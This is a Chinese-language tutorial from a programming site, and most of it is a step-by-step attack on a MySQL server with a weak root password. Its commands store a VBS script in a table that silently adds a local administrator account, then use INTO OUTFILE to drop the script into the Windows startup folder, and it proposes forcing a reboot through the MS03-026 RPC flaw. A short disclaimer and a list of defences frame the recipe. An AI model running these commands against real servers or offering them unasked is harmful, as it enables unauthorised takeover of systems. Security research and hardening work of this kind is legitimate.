首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

MySQL root 弱密碼進階攻擊手法:透過 UDF 與啟動項植入 VBS 提權實錄

     編輯:MySQL 資料庫相關知識

⚠️ 安全警示

本文僅供安全研究與防禦參考,嚴禁用於非授權滲透測試。請務必遵守當地法律法規。

攻擊前提

  • 目標 MySQL 開放遠端連線(3306)
  • root 帳號密碼為弱口令或空密碼
  • 攻擊者具備網路連線能力

攻擊流程複現與原理分析

1. 連線目標 MySQL

mysql -u root -h 192.168.0.1

2. 探測資料庫與資料表

SHOW DATABASES;
USE test;
SHOW TABLES;

3. 建立惡意資料表

CREATE TABLE a (cmd TEXT);

4. 寫入 VBS 腳本片段(分三行)

INSERT INTO a VALUES ('Set wshshell=CreateObject("WScript.Shell")');
INSERT INTO a VALUES ('a=wshshell.Run("cmd.exe /c net user 1 1 /add",0)');
INSERT INTO a VALUES ('b=wshshell.Run("cmd.exe /c net localgroup Administrators 1 /add",0)');

原理: 利用 WScript.Shell 靜默執行 CMD 指令,建立帳號 1/密碼 1 並加入管理員群組。,0 代表隱藏視窗。

5. 驗證資料內容

SELECT * FROM a;

6. 導出為啟動項 VBS 檔案

SELECT * FROM a INTO OUTFILE "C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\a.vbs";

路徑針對 Windows XP/2003 全使用者啟動資料夾,重啟後自動執行。

7. 觸發執行

利用 RPC 漏洞(如 MS03-026 端口 135)強制重啟伺服器,待系統啟動自動執行 VBS,攻擊者即獲得管理員帳號。

防禦對策

  1. 強制強密碼策略:root 必須使用 16+ 字元複雜密碼
  2. 禁用遠端 root 登入:bind-address=127.0.0.1 或防火牆限制 3306 僅內網可達
  3. 關閉 INTO OUTFILE 權限:僅授予必要帳號 FILE 權限
  4. 啟用 SSL 連線:防止憑證竊聽
  5. 定期稽核啟動項:監控啟動資料夾、註冊表 Run 鍵值
  6. 修補系統漏洞:及時套用 Windows 安全更新

總結

此手法結合 MySQL 弱密碼、INTO OUTFILE 權限過大、Windows 啟動機制三大弱點。防禦核心在於最小權限原則與纏深防禦,單一防線失效不應導致全盤陷落。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved